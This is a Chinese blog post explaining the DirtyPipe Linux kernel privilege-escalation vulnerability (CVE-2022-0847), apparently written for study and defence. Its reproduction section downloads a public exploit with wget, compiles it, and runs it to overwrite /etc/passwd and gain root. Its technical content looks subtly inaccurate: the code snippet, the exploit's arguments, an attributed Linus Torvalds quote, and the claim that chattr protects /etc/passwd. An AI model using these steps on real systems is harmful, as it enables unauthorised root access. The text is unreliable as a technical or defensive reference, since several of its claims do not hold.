TypechoJoeTheme

至尊技术网

统计
登录
用户名
密码

DirtyPipe(CVE-2022-0847):一个颠覆认知的Linux内核提权漏洞复现

2025-08-03
/
0 评论
/
2 阅读
/
正在检测是否收录...
08/03

DirtyPipe(CVE-2022-0847):一个颠覆认知的Linux内核提权漏洞复现

关键词
DirtyPipe、CVE-2022-0847、Linux内核漏洞、本地提权、漏洞复现、POC分析、漏洞防护

描述
2022年曝光的DirtyPipe漏洞(CVE-2022-0847)打破了"Linux管道只读不可写"的固有认知,攻击者可通过该漏洞实现从普通用户到root权限的跨越。本文将深度解析漏洞原理,提供完整的复现过程,并探讨防护方案。


一、漏洞背景:管道机制的"认知颠覆"

2022年3月,德国安全研究员Max Kellermann披露了一个令人震惊的Linux内核漏洞——DirtyPipe(CVE-2022-0847)。该漏洞影响自5.8版本起的Linux内核,允许低权限用户篡改只读文件,最终实现权限提升。与2016年轰动一时的DirtyCow(脏牛)漏洞类似,DirtyPipe再次证明了内核子系统复杂交互中的安全隐患。

二、漏洞原理:PIPE机制中的"脏数据"

1. 技术本质

漏洞源于Linux管道(pipe)机制中flags成员的未初始化问题。当调用splice()系统调用时,内核未正确清除PIPE_BUF_FLAG_CAN_MERGE标志位,导致攻击者可以向目标文件写入任意数据。

关键代码路径:
c // fs/pipe.c pipe_write(): if (can_merge && ...) { // 错误保留可合并标志 buf->flags |= PIPE_BUF_FLAG_CAN_MERGE; }

2. 利用条件

  • 内核版本:5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102
  • 需要普通用户权限
  • 目标文件需具有可读权限

三、漏洞复现:从理论到实践

环境准备

bash

测试环境(基于Ubuntu 20.04)

uname -a # Linux vuln-host 5.13.0-30-generic
gcc --version # gcc (Ubuntu 9.4.0-1ubuntu1~20.04)

完整复现步骤

  1. 下载POC代码
    bash wget https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c

  2. 编译执行
    bash gcc exploit.c -o dirtypipe ./dirtypipe /etc/passwd 1 root::0:0:root:/root:/bin/bash

  3. 验证结果
    bash su dirtypipe whoami # 输出root表示提权成功

关键过程解析

  1. 通过splice()将目标文件数据导入管道
  2. 利用未初始化的PIPE_BUF_FLAG_CAN_MERGE标志
  3. 向管道写入恶意数据覆盖原文件内容
  4. 修改/etc/passwd或SUID二进制文件实现提权

四、深度防御:企业级防护方案

1. 官方补丁

bash

升级内核版本

sudo apt update && sudo apt upgrade linux-image-$(uname -r)

2. 临时缓解措施

bash

限制敏感文件权限

chattr +i /etc/passwd
chmod 600 /etc/shadow

3. 高级防护建议

  • 部署eBPF监控异常pipe操作
  • 启用SELinux/AppArmor强制访问控制
  • 定期进行漏洞扫描(使用Trivy、grype等工具)

五、思考延伸:为何漏洞"潜伏"多年?

这个看似简单的漏洞揭示了Linux内核开发中的深层问题:
1. 代码复用风险:管道机制从1990年代沿用至今,历史代码审计不足
2. 安全假设偏差:"管道只读"的固有认知导致测试用例缺失
3. 子系统交互漏洞:splice()与pipe_write()的非常规组合触发异常路径

正如Linux创始人Linus Torvalds在补丁提交时的评论:"这是一个非常有趣的漏洞,它打破了我们对管道行为的常规认知。"


参考资料
1. 官方漏洞公告:https://dirtypipe.cm4all.com/
2. Linux内核补丁:git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9d2231c5d74e13b2a0546fee6737ee4446017903
3. MITRE CVE条目:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

朗读
赞(0)
版权属于:

至尊技术网

本文链接:

https://www.zzwws.cn/archives/34723/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月

最新回复

  1. 强强强
    2025-04-07
  2. jesse
    2025-01-16
  3. sowxkkxwwk
    2024-11-20
  4. zpzscldkea
    2024-11-20
  5. bruvoaaiju
    2024-11-14

标签云